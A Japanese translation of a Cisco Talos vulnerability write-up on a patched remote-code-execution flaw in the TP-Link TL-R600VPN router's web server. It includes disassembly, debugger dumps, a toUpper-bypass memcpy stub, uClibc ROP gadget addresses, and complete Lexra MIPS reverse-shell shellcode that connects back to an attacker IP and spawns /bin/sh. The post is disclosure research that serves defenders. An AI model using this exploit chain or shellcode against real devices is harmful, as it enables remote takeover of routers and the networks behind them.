Cisco Japan Blog

脆弱性ディープ ダイブ:TP-Link TL-R600VPN におけるリモートでのコード実行の脆弱性

6 min read



はじめに

TP-Link 社はこのほど、同社の TL-R600VPNpopup_iconギガビット ブロードバンド VPN ルータ(ファームウェア バージョン 1.3.0)の 3 つの脆弱性に対してパッチを適用しました。Cisco Talos は、TP-Link 社と連携してその脆弱性に取り組み、パッチを利用できるようにした上で問題を公開 しました。修正プログラムの提供を機に、ここではこれらの脆弱性の内部構造を詳細に分析し、コンセプト実証コードを使用した手法について説明します。

背景

TP-Link TL-R600VPN は、5 ポートの小規模オフィス/ホーム オフィス(SOHO)用ルータです。このデバイスのチップには、Realtek RTL8198 統合システムが搭載されています。そのチップでは、Lexra 社が開発した、MIPS-1 から派生したアーキテクチャが採用されています。ロード操作と保存操作の違いによって、その処理に対する命令が一部異なっていますが、これら 2 つの命令セットは基本的に同じものです。Lexra 社のアーキテクチャに含まれていない命令は、LWL、SWL、LWR、SWR です。こうした独自の命令は、多くの場合、一般的な MIPS-1 アーキテクチャに対応するプログラムのコンパイル時に使用されますが、Lexra アーキテクチャではセグメンテーション違反の原因になります。目的に応じて有効なコードをアセンブルするには、この重要な違いを理解する必要があります。

Lexra MIPS の詳細と、MIPS-1 アーキテクチャとの違いについては、「The Lexra Storypopup_icon」と MIPS-1 の特許出願書類popup_iconをご覧ください。

調査

脆弱性について

このデバイスには、HTTP サーバが /fs/ ディレクトリに対するリクエストを処理する方法に脆弱性があるため、認証済みの攻撃者がリモートからコードを実行できます。

/fs/ ディレクトリの次のページにアクセスする際に、渡された HTTP ヘッダーをアプリケーションが正しく解析していません。

  • http://<router_ip>/fs/help
  • http://<router_ip>/fs/images
  • http://<router_ip>/fs/frames
  • http://<router_ip>/fs/dynaform
  • http://<router_ip>/fs/localiztion(注:「localiztion」はスペルミスではありません)

httpGetMimeTypeByFileName 関数では、リクエストされたページのファイル拡張子を Web サーバが解析し、MIME タイプを識別しようとします。この処理中に、サーバは strlen() をコールし、リクエストされたページ名の長さを取得して、ヒープ割り当て済み文字列の末尾を特定します。そこから、ピリオド(0x2e)を見つけるまで逆方向に読み取り、ファイル拡張子を識別します。

## calculates the length of the uri and seeks to the end#LOAD:00425CDC
loc_425CDC:
LOAD:00425CDC                 la $t9, strlenLOAD:00425CE0
            sw $zero, 0x38+var_20($sp)LOAD:00425CE4                 jalr
$t9 ; strlenLOAD:00425CE8                 sh $zero,
0x38+var_1C($sp)
LOAD:00425CEC                 addu $s0, $v0
# looks for a period at the current index and break out when foundLOAD:00425CF0
           li $v0, 0x2E            LOAD:00425CF4
           lbu $v1, 0($s0)LOAD:00425CF8     &nnbsp;           lw $gp,
0x38+var_28($sp)
LOAD:00425CFC                 beq $v1, $v0,
loc_425D14
LOAD:00425D00                 li $v1, 0b101110LOAD:00425D04
# loop backwards until a period is found, loading the character into
$s0
LOAD:00425D04 loc_425D04:
            LOAD:00425D04                 addiu
$s0, -1
LOAD:00425D08                 lbu $v0, 0($s0)
            LOAD:00425D0C                 bne $v0, $v1, loc_425D04LOAD:00425D10
nop


脆弱性による問題を防止するため、リクエストされるページには拡張子が必要です。これは、次に示す悪意がないページ /web/dynaform/css_main.css に対する GDB の出力文字列で確認できます。ファイル拡張子「css」が解析されています。

0x67a170:        “/web/dynaform/css_main.css”
0x67a18b:        “46YWRtaW4=”
0x67a196:        “\nConnection: close\r\n\r\nWRtaW4=\r\nConnection:
close\r\n\r\n6YWRtaW4=\r\nConnection: close\r\n\r\n46YWRtaW4=\r\nConnection:
close\r\n\r\ntaW4=\r\nConnection:close\r\n\r\n http://192.168.0.1/\r\nAuthorization: Basic
YWRtaW46YWRt”…
0x67a25e:        “aW4=\r\nConnection: close\r\n\r\nnnection: close\r\n\r\n”
0x67a28d:        “”
0x67a28e:        “”
0x67a28f:        “”
0x67a290:        “”

 

ただし、脆弱性があるページをリクエストすると、解析対象の URI にピリオド(0x2e)がないことがわかります。ピリオドがないため、アプリケーションは末尾からの検索を続けます。この場合、解析対象の URI と、ヒープに保存されていた未処理の GET リクエスト データ(以下に示すアドレス 0x679960)との間にピリオドがないため、逆方向に検索するとペイロードにたどり着きます。これは、以下に示す悪意のあるページ /fs/help に対する GDB の出力文字列のアドレス 0x67a170 で確認できます。ファイル拡張子が解析されていません。

0x679960:        “/fs/help”
0x679969:        “elp”
0x67996d:        “HTTP/1.1”
0x679976:        “\n”
0x679978:        “ost: 192.168.0.1\r\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0)
Gecko/20100101 Firefox/52.0\r\nAccept:
text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\nAccept-Language: en-
US,en;q”…
0x679a40:        “=0.5\r\nAccept-Encoding: gzip, deflate\r\nAuthorization: Basic
YWRtaW46YWRtaW4=\r\nConnection: close\r\nUpgrade-Insecure-Requests: 1\r\n\r\n”                                                   
0x679ac1:        “”
0x679ac2:        “”
0x679ac3:        “”
0x679ac4:        “”
0x679ac5:        “”
0x67a165:        “gp”
0x67a169:        “”
0x67a16a:        “\b”
0x67a16c:        “”
0x67a16d:        “”
0x67a16e:        “”
0x67a16f:        “”
0x67a170:        “/web/help”
0x67a17a:        “secure-Requests”
0x67a18a:        ” 1″
0x67a18d:        “\n\r\nure-Requests: 1\r\n\r\nclose\r\nUpgrade-Insecure-Requests:
1\r\n\r\nUpgrade-Insecure-Requests: 1\r\n\r\n\nUpgrade-Insecure-Requests: 1\r\n\r\nsic
YWRtaW46YWRtaW4=\r\nConnection: close\r\nUpgrade-Insecure-Requests: 1\r\n\r\na”…
0x67a255:        “tion: Basic YWRtaW46YWRtaW4=\r\nConnection: close\r\nUpgrade-Insecure-
Requests: 1\r\n\r\nure-Requests: 1\r\n\r\n”
0x67a2ba:        “”
0x67a2bb:        “”
0x67a2bc:        “”

ピリオドが見つかると、正常なファイル拡張子の場合でも脆弱性がある場合でも、抽出された文字列が toUpper() 関数によってループ内で 1 文字ずつ処理されます。この処理結果は、store byte 命令によってスタックベースのバッファに書き込まれます。これは次に示すように、前述のループ内で実行された命令で行われています。

#
# loads parsed data onto stack via a store byte call from $s0 register
#
LOAD:00425D20 loc_425D20:
LOAD:00425D20                 lbu $a0, 0($a0)
# returns an uppercase version of the character where possible
LOAD:00425D24                 jalr $t9 ; toUpper             
LOAD:00425D28                 nop
# $gp references $s2, the place for the next char on the stack buffer
LOAD:00425D2C                 lw $gp, 0x38+var_28($sp)
            
# stores the character into $s2
LOAD:00425D30                 sb $v0, 0($s2)             
LOAD:00425D34
# calculates the length of the entire user-supplied string
LOAD:00425D34 loc_425D34:
LOAD:00425D34                 la $t9, strlen
LOAD:00425D38                 jalr $t9 ; strlen
                    
# place a pointer to the parsed data into arg0
LOAD:00425D3C                 move $a0, $s0             
LOAD:00425D40                 addiu $v1, $sp, 0x38+var_20
LOAD:00425D44                 lw $gp, 0x38+var_28($sp)
LOAD:00425D48                 sltu $v0, $s1, $v0
LOAD:00425D4C                 addu $a0, $s0, $s1
LOAD:00425D50                 addu $s2, $v1, $s1
LOAD:00425D54                 la $t9, toupper

プログラムは、httpGetMimeTypeByFileName 関数のエピローグに達するまで継続して実行されます。エピローグでは、スタックに保存された値からリターン アドレスと 5 つのレジスタがロードされます。脆弱性がエクスプロイトされている場合は、これらの保存された通常の値が上書きされ、後述するガジェットのアドレスが追加されています。

#
# registers get overwritten with saved values on the stack
#
LOAD:00425DB4 loc_425DB4:
LOAD:00425DB4
LOAD:00425DB4                 lw $ra, 0x38+var_4($sp)
LOAD:00425DB8                 lw $s4, 0x38+var_8($sp)
LOAD:00425DBC                 lw $s3, 0x38+var_C($sp)
LOAD:00425DC0                 lw $s2, 0x38+var_10($sp)
LOAD:00425DC4                 lw $s1, 0x38+var_14($sp)
LOAD:00425DC8                 lw $s0, 0x38+var_18($sp)
LOAD:00425DCC                 jr $ra             
LOAD:00425DD0                 addiu $sp, 0x38
LOAD:00425DD0  # End of function httpGetMimeTypeByFileName

関数のエピローグのこの部分で、設定されたバッファにデータをコピーするループによって、スタック上の元のデータが上書きされます。変更されないことを前提にプログラムされているデータをスタックから取り出すことで、ユーザはリターン アドレスを制御できるようになります。これは、HTTPD プロセスのコンテキストで、ユーザがリモートからコードを実行できることを意味します。

toUpper() フィルタ

HTTP ヘッダーの初回の解析中に、デバイスは、バイト単位でピリオド(0x2e)を検索してバッファを構築することを繰り返します。ピリオドが見つかると、バッファが toUpper() コールに渡され、バッファ内の各 ASCII 文字が大文字に変換されます。

LOAD:00425D20 loc_425D20:
LOAD:00425D20                 lbu $a0, 0($a0)
# returns an upper case version of the character where possible
LOAD:00425D24                 jalr $t9 ; toUpper             
LOAD:00425D28                 nop

toUpper() コールを回避する方法はなく、小文字が使用できないため、HTTP ヘッダーを介してシェルコードを送信する際に問題が生じます。次の GET リクエストの例を見てください。

GET /fs/help HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
a
Content-Length: 2
Accept-Encoding: gzip, deflate
Authorization: Basic YWRtaW46YWRtaW4=
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Content-Length: 4

httpGetMimeTypeByFileName 関数のエピローグで最終ジャンプが実行される直前にあるレジスタを見ると、ヘッダー内の「a」の文字(0x61)が大文字(0x41)に変換されていることがわかります。

(GDB) i r
i r
         zero at       v0 v1 a0       a1 a2 a3
R0   00000000 10000400 00514004 00000035 7dfff821 0051432d 01010101 80808080
           t0 t1      t2 t3 t4       t5 t6 t7
R8   00000002 fffffffe 00000000 00000006 19999999 00000000 00000057 00425d2c
           s0 s1      s2 s3 s4       s5 s6 s7
R16  41414141 41414141 41414141 41414141 41414141 006798f4 006798d0 00000000
           t8 t9      k0 k1 gp       sp s8 ra
R24  00000132 2ab02820 00000000 00000000 00598790 7dfff808 7dfffa62 41414141
       status     lo hi badvaddr    cause pc
     0000040c 00059cf8 000001fa 00590cac 00000024 00425dcc
(GDB)

ここで行われていること

上記のレジスタをさらに調べると、元のヘッダー データの近くを指しているはずのポインタが、toUpper() コールの後にもそのまま残っています。

httpGetMimeTypeByFileName 関数エピローグの最終ジャンプでブレークしてスタックのデータを調べると、大文字に変換されたヘッダー データ(ペイロードを含む)の一部が保存されていることがわかります。

(GDB) x/32s $sp
x/32s $sp
0x7dfff808:      “”
0x7dfff809:      “”
0x7dfff81f:      “”
0x7dfff820:      “5\r\n”, ‘A’ <repeats 197 times>…
0x7dfff8e8:      ‘A’ <repeats 200 times>…
0x7dfff9b0:      ‘A’ <repeats 200 times>…
0x7dfffa78:      ‘A’ <repeats 200 times>…
0x7dfffb40:      ‘A’ <repeats 143 times>, “\r\nCONTENT-LENGTH: 0\r\nACCEPT-ENCODING: GZIP,
DEFLATE\r\nAUTH”…
0x7dfffc08:      “ORIZATION: BASIC YWRTAW46YWRTAW4=\r\nCONNECTION: KEEP-ALIVE\r\nUPGRADE-
INSECURE-REQUESTS: 1\r\nCONTENT-LENGTH: 0\r\n\r\n”
0x7dfffc77:      “”
0x7dfffc78:      “”
0x7dfffc79:      “”
(GDB)

一方、レジスタ $s5 によってポイントされた位置に続くデータを調べると、未処理のヘッダー データにまだアクセスできることがわかります。

(GDB) x/32s $s5+0x64
x/32s $s5+0x64
0x679958:        “”
0x679959:        “”
0x67995f:        “”
0x679960:        “/fs/help”
0x679969:        “elp”
0x67996d:        “HTTP/1.1”
0x679976:        “\n”
0x679978:    &nbnbsp;   “ost: 192.168.0.1\r\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\nAccept-Language: en-US,en;q”…
0x679a40:        “=0.5\r\n”, ‘a’ <repeats 194 times>…
0x679b08:        ‘a’ <repeats 200 times>…
0x679bd0:        ‘a’ <repeats 200 times>…
0x679c98:        ‘a’ <repeats 200 times>…
0x679d60:        ‘a’ <repeats 146 times>, “\r\nContent-Length: 0\r\nAccept-Encoding: gzip, deflate\r\nA”…
0x679e28:        “uthorization: Basic YWRtaW46YWRtaW4=\r\nConnection: keep-alive\r\nUpgrade-Insecure-Requests: 1\r\nContent-Length: 0\r\n\r\n”
0x679e9a:        “”
0x679e9b:        “”
(GDB)

メモリの該当するセクションの権限を調べると、その範囲が実行可能であるため、一見すると未処理のヘッダーに直接ジャンプできるようにも思われます。

# cat /proc/12518/maps
cat /proc/12518/maps
00400000-00538000 r-xp 00000000 1f:02 69         /usr/bin/httpd
00578000-00594000 rw-p 00138000 1f:02 69         /usr/bin/httpd
00594000-006a6000 rwxp 00000000 00:00 0          [heap]
2aaa8000-2aaad000 r-xp 00000000 1f:02 359        /lib/ld-uClibc-0.9.30.so
2aaad000-2aaae000 rw-p 00000000 00:00 0
2aaae000-2aab2000 rw-s 00000000 00:06 0          /SYSV0000002f (deleted)
2aaec000-2aaed000 r–p 00004000 1f:02 359        /lib/ld-uClibc-0.9.30.so
7f401000-7f600000 rwxp 00000000 00:00 0
7fcf7000-7fd0c000 rwxp 00000000 00:00 0          [stack]

 

しかし、toUpper() とその前の strcmp() による制限があるため、結局意味がありません。toUpper() を使用することで、小文字がすべて不正な文字とされる条件が作成され、データが strcmp() コールで処理されるため、null バイトを使用することはできませんでした。これらの関数コールにより、0x00 と 0x61 ~ 0x7a の範囲のバイトが使用できなくなりました。

エクスプロイト

toUpper() のバイパス

toUpper() によって生じる問題を回避するために、memcpy() という小さなコードを作成しました。このコードでは、$ra の制御が可能になれば、実行時に小文字や null バイトは使用されません。このコードにより、ヘッダー データを元の形式でスタックにコピーし、そのデータにジャンプして実行できました。

move    $a0, $t9         # put the stack pointer into arg1
addiu   $a0, 0x12C       # increase arg1 so we don’t overwrite this code
addiu   $a1, $s5, 0x198  # load the raw header data pointer into arg2
li      $a2, 0x374       # load the size into arg3
li      $t9, 0x2AB01E20  # load $t9 with the address of memcpy()
jalr    $t9         # call memcpy()
move    $t8, $t3         # placeholder to handle delay slot without nulls
move    $t9, $sp         # prep $t9 with the stack pointer
addiu   $t9, 0x14C       # increase the $t9 pointer to the raw header
jalr    $t9         # execute the raw header on the stack
move    $t8, $t3         # placeholder to handle delay slot without nulls

 

この手法を使用するには、memcpy() コードを実行する方法を見つける必要がありました。このデバイスの場合は実行可能なスタックを利用できましたが、コードの最終的な結果が明確ではありませんでした。結局、ret2libc 手法を修正して使用することで uClibc のガジェットを活用し、スタックに対するポインタを取得して、このコードに関するレジスタを設定することができました。

uClibc オフセット アドレス 0x0002fc84 にある最初のガジェットは、スタック ポインタを 0x20 ずつインクリメントし、memcpy シェルコードを通過させるために使用されました。このガジェットが返された後もプログラム実行を制御し続けるために、以下に要求されているように、2 番目のガジェットのアドレスを 0x20+$sp の位置に指定しました。

LOAD:0002FC84                 lw $ra, 0x20+var_8($sp)
LOAD:0002FC88                 jr $ra
LOAD:0002FC8C                 addiu $sp, 0x20

uClibc オフセット アドレス 0x000155b0 に位置する 2 番目のガジェットは、インクリメントされたスタック バッファに対するポインタを取得するために使用されました。それにより、目的のポインタがレジスタ $a1 に設定されます。このガジェットが返された後もプログラム実行を制御し続けるために、以下に要求されているように、3 番目のガジェットのアドレスを 0x58+$sp の位置に指定しました。

LOAD:000155B0                 addiu $a1, $sp, 0x58+var_40
LOAD:000155B4                 lw $gp, 0x58+var_48($sp)
LOAD:000155B8                 sltiu $v0, 1
LOAD:000155BC                 lw $ra, 0x58+var_8($sp)
LOAD:000155C0                 jr $ra
LOAD:000155C4                 addiu $sp, 0x58

 

最後に、uClibc オフセット アドレス 0x000172fc に位置するガジェットを使用してスタック バッファにジャンプしました。

LOAD:000172FC                 move $t9, $a1
LOAD:00017300                 move $a1, $a2
LOAD:00017304                 sw $v0, 0x4C($a0)
LOAD:00017308                 jr $t9
LOAD:0001730C                 addiu $a0, 0x4C # ‘L’

 

それらのガジェットの正しい場所を計算して適切に使用するには、uClibc のロード アドレスを取得する必要があります。次に示すプロセス メモリ マップを見ると、実行可能なバージョンの uClibc がアドレス 0x2aaee000 にロードされていることがわかります。

# cat /proc/12518/maps
cat /proc/12518/maps
00400000-00538000 r-xp 00000000 1f:02 69         /usr/bin/httpd
00578000-00594000 rw-p 00138000 1f:02 69         /usr/bin/httpd
00594000-006a6000 rwxp 00000000 00:00 0          [heap]
2aaa8000-2aaad000 r-xp 00000000 1f:02 359        /lib/ld-uClibc-0.9.30.so
2aaad000-2aaae000 rw-p 00000000 00:00 0
2aaae000-2aab2000 rw-s 00000000 00:06 0          /SYSV0000002f (deleted)
2aaec000-2aaed000 r–p 00004000 1f:02 359        /lib/ld-uClibc-0.9.30.so
2aaed000-2aaee000 rw-p 00005000 1f:02 359        /lib/ld-uClibc-0.9.30.so
2aaee000-2ab21000 r-xp 00000000 1f:02 363        /lib/libuClibc-0.9.30.so
2ab21000-2ab61000 —p 00000000 00:00 0
2ab61000-2ab62000 rw-p 00033000 1f:02 363        /lib/libuClibc-0.9.30.so
2ab62000-2ab66000 rw-p 00000000 00:00 0
2ab66000-2ab68000 r-xp 00000000 1f:02 349        /lib/librt-0.9.30.so
2ab68000-2aba7000 —p 00000000 00:00 0
7f001000-7f200000 rwxp 00000000 00:00 0
7f200000-7f201000 —p 00000000 00:00 0
7f201000-7f400000 rwxp 00000000 00:00 0
7f400000-7f401000 —p 00000000 00:00 0
7f401000-7f600000 rwxp 00000000 00:00 0
7fcf7000-7fd0c000 rwxp 00000000 00:00 0          [stack]

 

uClibc のロード アドレスを、各ガジェット用に取得したオフセット アドレスに追加することで、目的のコードに対する使用可能なアドレスを取得できます。それらのアドレスを戦略的に配置すれば、最初のコードが実行され、その後、ペイロードが実行されます。

Lexra MIPS シェルコード

Lexra MIPS は MIPS 仕様に基づいていますが、標準の MIPS 命令を実行する場合に一致していない部分もあります。そのため、こちらにある GCC ツールチェーンを使用して、Lexra MIPS 専用のシェルコードを開発することにしました。以下に示すコードでは、攻撃者までたどりつく接続を確立し、stdin、stdout、stderr をソケット ファイル記述子に複製して、最終的にシェルを生成する手法をとっています。

まず、デバイス上でソケットを開き、nor を活用して、$t7 レジスタの null バイトを回避します。使用する MIPS $zero レジスタには null バイトは含まれていません。

li $t7, -6           # set up $t7 with the value 0xfffffffa
nor $t7, $t7, $zero  # nor $t7 with zero to get the value 0x05 w/o nulls
addi $a0, $t7, -3    # $a0 must hold family (AF_INET – 0x02)
addi $a1, $t7, -3    # $a1 must hold type (SOCK_STREAM – 0x02)
slti $a2, $zero, -1  # $a2 must hold protocol (essentially unset – 0x00)
li $v0, 4183         # sets the desired syscall to ‘socket’
syscall 0x40404      # triggers a syscall, removing null bytes

 

ソケットを開いた状態で、connect syscall を使用して、デバイスから攻撃者への TCP 接続を確立します。このデバイスのデフォルトのサブネットにゼロが含まれているため、null バイトは、このステップ特有の問題です。この問題を回避するために、用意されたレジスタ値を強制的にオーバーフローさせ、null バイトを使用せずに目的の IP アドレスを得る手法を活用します。

sw $v0, -36($sp)     # puts the returned socket reference onto the stack
lw $a0, -36($sp)     # $a0 must hold the file descriptor – pulled from the stack
sw $a1, -32($sp)     # place socket type (SOCK_STREAM – 0x02) onto the stack
lui $t7, 8888        # prep the upper half of $t7 register with the port number
ori $t7, $t7, 8888   # or the $t7 register with the desired port number
sw $t7, -28($sp)     # place the port onto the stack
lui $t7, 0xc0a7      # put the first half of the ip addr into $t7 (192.166)
ori $t7, 0xff63      # put the second half of the ip addr into $t7 (255.99)
addiu $t7, 0x101     # fix the ip addr (192.166.255.99 –> 192.168.0.100)
sw $t7, -26($sp)     # put the ip address onto the stack
addiu $a1, $sp, -30  # put a pointer to the sockaddr struct into $a1
li $t7, -17          # load 0xffef into $t7 for later processing
nor $a2, $t7, $zero  # $a2 must hold the address length – 0x10
li $v0, 4170         # sets the desired syscall to ‘connect’
syscall 0x40404      # triggers a syscall, removing null bytes

 

デバイスが入力を受け入れ、出力が適切に表示されるようにするには、stdin, stdout, and stderr ファイル記述子を複製する必要があります。これらの I/O ファイル記述子をソケットに複製することで、先に設定した接続を通じてデバイスに適切に入力し、出力を表示できます。

lw $t7, -32($sp)     # load $t7 for later file descriptor processing
lw $a0, -36($sp)     # put the socket fd into $a0
lw $a1, -32($sp)     # put the stderr fd into $a1
li $v0, 4063         # sets the desired syscall to ‘dup2’
syscall 0x40404      # triggers a syscall, removing null bytes
lw $t7, -32($sp)     # load $t7 for later file descriptor processing
lw $a0, -36($sp)     # put the socket fd into $a0
addi $a1, $t7, -1    # put the stdout fd into $a1
li $v0, 4063         # sets the desired syscall to ‘dup2’
syscall 0x40404      # triggers a syscall, removing null bytes
lw $t7, -32($sp)     # load $t7 for later file descriptor processing
lw $a0, -36($sp)     # put the socket fd into $a0
addi $a1, $t7, -2    # put the stdin syscall into $a1
li $v0, 4063         # sets the desired syscall to ‘dup2’
syscall 0x40404      # triggers a syscall, removing null bytes

 

最後に execve システム コールを使用して、ローカルのデバイスにシェルを生成します。このシェルはソケットから生成されており、また stdin/stdout/stderr に対する制御も可能になっているため、確立した接続を通じて新しいシェルをリモートから制御できます。

lui $t7, 0x2f2f      # start building the command string    –> //
ori $t7, $t7, 0x6269 # continue building the command string –> bi
sw $t7, -20($sp)     # put the string so far onto the stack
lui $t7, 0x6e2f      # continue building the command string –> n/
ori $t7, $t7, 0x7368 # continue building the command string –> sh
sw $t7, -16($sp)     # put the next portion of the string onto the stack
sw $zero, -12($sp)   # null terminate the command string
addiu $a0, $sp, -20  # place a pointer to the command string into arg 1
sw $a0, -8($sp)      # place a pointer to the command string array onto the stack
sw $zero, -4($sp)    # null terminate the array
addiu $a1, $sp, -8   # load the pointer to our command string array into arg 2
slti $a2, $zero, -1  # sets $a2 to 0
li $v0, 4011         # sets the desired syscall to ‘execve’
syscall 0x40404      # triggers a syscall, removing null bytes

デバイスに生成した関数シェルを利用して、エクスプロイト後のデバイスの分析を続行できます。

まとめ

残念ながら、この種の脆弱性は IoT デバイスに広く見られます。攻撃者はこうした問題を見つけ出し、それを悪用して脆弱なデバイスでコードを実行します。重要なのは、IoT デバイスがコンピュータであると認識することです。コンピュータである限り、ソフトウェアのメンテナンスを行い、デバイスのセキュリティをできるだけ高めることが不可欠です。

Talos は今後も脆弱性を検出して責任を持って公開し、ベンダーと連携しながらお客様を保護します。また、必要に応じてさらに詳細な分析情報を提供します。ゼロデイ脆弱性を発見し、製品の開発元と協力した上で開示することは、日常的に使用されるデバイスやソフトウェアの全体的なセキュリティの向上に貢献します。Talos では、攻撃者に悪用され得る問題や脆弱性を特定するためのプログラム的手法を開発することで、こうした取り組みに貢献しています。

Talos が公開した脆弱性情報については、脆弱性報告ポータル をご覧ください。

また、Talos の脆弱性公開ポリシーは、こちらで確認できます。

 

本稿は 2019年1月15日に Talos Grouppopup_icon のブログに投稿された「Vulnerability Deep Dive: TP-Link TL-R600VPN remote code execution vulnerabilitiespopup_icon」の抄訳です。

コメントを書く